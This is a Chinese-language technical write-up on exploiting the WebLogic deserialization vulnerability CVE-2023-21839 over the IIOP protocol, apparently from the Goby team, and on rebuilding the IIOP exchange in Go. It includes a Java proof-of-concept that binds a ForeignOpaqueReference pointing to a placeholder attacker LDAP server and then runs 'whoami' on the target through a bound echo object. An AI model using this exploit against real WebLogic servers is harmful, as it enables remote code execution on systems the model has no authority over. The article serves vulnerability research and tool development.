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0x01 探索总结

Weblogic序列化漏洞主要依赖于T3和IIOP协议，在通信交互方面存在诸多问题，如跨语言、网络传输等，给漏洞检测和利用带来诸多不便。在WhiteHat Labs的理念中，漏洞检测和利用是一项创造性的工作，应该以最简洁高效的方式实现，以保证漏洞的跨平台性和实用性。因此，我们实现了跨语言的IIOP协议通信方案来解决序列化漏洞问题。

在Goby的CVE-2023-21839漏洞中，我们成功实现了IIOP协议跨语言通信的解决方案，在漏洞检测和利用上取得了完美的效果。

0x02 Weblogic IIOP

GIOP是CORBA规范定义的一种协议，用于分布式对象之间的通信和交互。它为对象的请求、响应、异常、命名等定义了基本的通信模式和协议规范。简单来说，GIOP是一种抽象的协议标准，定义了通信模式和协议规范，并不是具体的协议实现。

IIOP 是一个 TCP/IP 协议栈，它实现了 GIOP 协议，允许 CORBA 对象通过 Internet 进行通信和交互。简单来说，IIOP协议就是在TCP/IP层实现的GIOP协议。

RMI-IIOP 是Java 远程方法调用(RMI) 协议的一种实现方式，它扩展了IIOP 协议，具有通过RMI 远程调用Java 对象的功能。简单来说，RMI-IIOP 协议结合了RMI 远程调用Java 对象的功能和IIOP 协议。（在本文的 Weblogic 部分，RMI-IIOP 将被视为 IIOP 协议。）

在《Weblogic IIOP Protocol NAT Network Bypass》一文（https://www.r4v3zn.com/posts/144eb4b6/#more）中提到“T3协议本质上是RMI中用于数据传输的协议。RMI- IIOP同时兼容RMI和IIOP，因此在Weblogic中，任何可以通过T3序列化的代码也可以通过IIOP协议进行序列化。对于同时启用了IIOP和T3协议的Weblogic，在序列化数据协议传输的过程中并没有本质区别，Weblogic在通信过程中可能存在网络问题。因此，为了解决Java序列化问题和IIOP网络问题，我选择了IIOP协议作为本次Weblogic序列化协议研究的重点。

0x03 IIOP攻击流程

以CVE-2023-21839 Weblogic序列化漏洞为例，在Weblogic的IIOP攻击过程中，攻击者首先初始化上下文信息，使用rebind()方法将恶意对象绑定到注册表，然后触发该漏洞通过使用 lookup() 方法从恶意地址远程加载存根对象。自定义的恶意对象在加载过程中进行自绑定操作，将一个带有echo的对象绑定到Weblogic注册中心，然后远程调用该对象中的方法，达到攻击echo的目的。

概念验证(poc)：

public class main {
    public static void main(String[] args) throws NamingException, RemoteException {
        ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null);
        String iiop_addr = "iiop://10.211.55.4:7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", iiop_addr);
        Context context = new InitialContext(env);    // Initialize context and establish interactive connections  LocateRequest LocateReply
        String bind_name = String.valueOf(System.currentTimeMillis());
        context.rebind(bind_name, foreignOpaqueReference);  //Bind remote objects rebind_any
        context.lookup(bind_name);  // Get Remote Objects resove_anyClusterMasterRemote
        clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //Obtain self bound echo objects
        System.out.println(clusterMasterRemote.getServerLocation("whoami"));  // Executing methods in remote objects
    }
}

3.1 Java中的攻击流程

Weblogic中IIOP序列化交互开始时，客户端用new初始化上下文信息，InitialContext()并使用locateNameService()方法将目标地址、序列化对象等信息封装到IIOP协议请求包中作为消息LocateRequest与Weblogic服务器建立通信.

当客户端收到LocateReply来自服务器的消息时，表明通信交互已经建立。客户端会解析响应消息体中的信息，提取相关信息（如Key Address、内部类地址、上下文信息等）作为下一次请求消息的验证信息。

通信建立后，IIOP 将Key Address在交互建立期间使用服务器响应数据包中的作为下Key Address一个请求中的。bind()or方法执行时rebind()，会将绑定的对象名称、对象的序列化数据等信息封装到Stub data请求消息体的字段中进行消息传输。

IIOP 协议在执行lookup()方法时，首先调用lookup()创建的上下文对象中的方法。该方法根据上下文是否为类型来决定调用lookup()哪个方法。由于上下文对象属于 NamingContextAny 类型，所以字符串 var1使用该方法转换为数组并传递给该方法。最后将消息封装成序列化的字节流，通过调用方法发送给服务端。lookup()NamingContextAnyWNameComponent (Wide Name Component)Utils.stringToWNameComponent(var1)this.lookup()resolve_any()

0x04 IIOP的跨语言实现

在“IIOP攻击过程中“一章，在交互部分，当Weblogic处于内网环境时，客户端会使用LocateReply中返回的Weblogic内部类的内部网络地址作为下一个数据包的目标地址。这会导致客户端发送数据包到自己的内部地址，导致网络通信中断问题。另外，由于Go没有官方的IIOP协议库，所以很难对Goby安全工具实施漏洞攻击。如果我们添加一个Java程序作为插件，会使Goby更加臃肿，不符合白帽学院安全研究院的漏洞价值观，针对这些问题，我们决定直接复制IIOP协议作为最终解决方案。

4.1 实现思路

协议通信的本质是在网络上以字节流的形式传输数据。因此，Go实现IIOP协议的方式是模拟IIOP通信的字节流。 对于上一节描述的攻击过程，我们将攻击过程中的IIOP协议通信分为四个部分：建立交互、绑定远程对象、获取远程对象、执行对象方法。在Java中，这些主要是通过以下方法来完成的：

Context context = new InitialContext(env);    // Initialize up and down connections, establish interactive connections LocateRequest message LocateReply function
context.rebind(bind_name, foreignOpaqueReference);  // bind remote object Request message rebind_any function
context.lookup(bind_name);  // get remote object Request message lookup function
ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name"); //Obtain self bound echo objects 
clusterMasterRemote.getServerLocation("whoami");  // Executing methods in remote objects

在模拟IIOP协议实现时，我们只需要实现上述方法执行过程中协议交互的字节流即可。

4.2 GIOP协议规范

GIOP（General Inter-ORB Protocol）是CORBA规范定义的一种协议，用于分布式对象之间的通信和交互。它定义了对象请求、响应、异常、命名等的基本通信模式和协议规范。

GIOP 消息由两部分组成：消息头和消息体。

GIOP消息头包括四个字段：Magic（GIOP标识）、Version（GIOP版本）、Message Flags（标志）、Message type（消息类型）和Message size（消息体长度）。

在GIOP消息体中，主要包括Request id（请求标识）、TargetAddress（目标对象密钥ID）、Key Address（密钥地址）、Request operation（操作方法）、ServiceContext（服务上下文信息）等字段。

限于篇幅，这里不再详述GIOP字段的含义。如果您想更深入地研究协议内容，请参阅我们总结的手册“GIOP 协议分析”。( https://github.com/FeatherStark/GIOP-Protocol-Analysis)。

4.2.1 GIOP协议通讯过程

在通信的初始阶段，客户端首先LocateRequest向服务器发送一个类型的消息来建立通信。服务端验证请求信息并响应消息类型，LocateReply表示已经收到客户端的请求，开始与客户端进行交互。
通信建立后，客户端发送一个类型的消息Request来执行服务器中的一个方法。消息的请求体Request包含键地址（Key Address）、要执行的方法名（Request operation）、消息上下文（Service Context）、调用远程对象的信息（Stub data）等。
服务器正确接收并解析请求消息后，返回一条No ExceptionReply类型的消息。如果请求报文解析错误或者服务器端出现异常，则服务器响应一个类型为Reply的User Exception/System Exception消息，响应体中包含异常ID( Exception id)信息。

4.3 初始化上下文

Context context = new InitialContext(env); *// Initialize up and down connections, establish interactive connections LocateRequest message LocateReply function*

在Java代码中，初始化上下文信息建立了对象创建过程中的IIOP协议交互过程。因此，在Go语言中，实现Weblogic生成的字节流new InitialContext(env)并发送给Weblogic就足够了。IIOP 协议实现中创建对象的过程new InitialContext(env)由消息表示LocateRequest。

客户端发送的消息LocateRequest有固定的格式，包括GIOP协议标识、协议版本、消息类型、消息标识等信息。

由于LocateRequest是固定格式的序列，可以直接发送给服务器建立交互连接。

服务端收到LocateRequest消息并验证无误后，向客户端响应消息LocateReply。该LocateReply消息包含有关服务器上下文、密钥地址、长度和其他详细信息的信息。

交互建立后，在接下来的通信过程中会用到响应体中的关键地址，所以需要将其提取保存起来，以备后用。为此，我们需要提取第一个的长度Key Address length，然后根据Key的长度计算出Key Address，并存储起来以备下次请求使用。另外，由于下一个请求包的目标地址在我们的控制之下，从根本上避免了之前出现的NET网络问题。通过这样做，通信已成功建立。

通信建立后，为了验证Key Address服务器返回的合法性，我们向服务器发送一条Request带有方法名的消息。_non_existent如果服务器以No Exception状态响应，则表明该Key Address有效。

4.4 绑定远程对象

context.rebind(bind_name, foreignOpaqueReference); *// bind remote objests Request message rebind_any function*

在 Java 语言中，该rebind()方法可用于将对象绑定到 Weblogic 注册表。在Go语言中，我们可以实现方法的字节流context.rebind()，将要绑定的名称和序列化对象添加到字节流中，然后发送给Weblogic。

rebind()在IIOP协议的具体实现中， method的操作方法名是rebind_any.

通过该rebind_any方法将绑定名称和序列化后的对象数据Stub data发送给服务器，服务器进行重新绑定操作，将对象绑定到Weblogic Register。

在Go中模拟该方法的核心rebind_any是将生成的payload字节流添加到请求体末尾的Stub数据段中。

4.5 获取远程对象

context.lookup(bind_name); *// bind remote object Request message lookup function*

在Java代码中，lookup()可以通过context对象的方法获取Weblogic中绑定名的stub对象。同样，在Go语言中，我们可以实现方法的字节流context.lookup()，将要绑定的名称添加到字节流中，然后发送给Weblogic。

在IIOP协议的具体实现中，lookup() 方法的操作方法名是resolve_any.

该resolve_any方法通过发送注册命名信息获取注册中心的存根对象。这里的Go字节码实现和前面的类似，都是把信息放在里面，Stub data然后发送给服务器，但是这里存放的是stub的命名信息.

的响应消息resolve_any会生成一个新的Key Address，其中包含获取远程对象的引用地址等信息。在执行该对象中的方法时，需要将新请求消息中的Key Address替换为该信息。这样对象中的方法就可以正常执行了。

4.6 执行对象方法

执行完lookup()方法后，我们就得到了远程对象的存根信息，然后就可以调用对象中的方法来达到调用远程方法的目的了。代码 clusterMasterRemote.getServerLocation(“whoami”) 是调用远程对象中方法的示例。

以上内容描述了在CVE-2023-21839漏洞上绑定echo类，使用Go语言实现字节流的过程。我们需要以GIOP字节流的格式实现字节流，将Request操作字段的值设置为我们要执行的方法名，将Operation长度设置为方法名的长度，并设置Stub数据到执行方法的字节流。最后封装成GIOP字节流发送给Weblogic。该方法可以触发漏洞并获得回声效果，如下图所示。

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跨语言的艺术:Weblogic 序列化漏洞和 IIOP 协议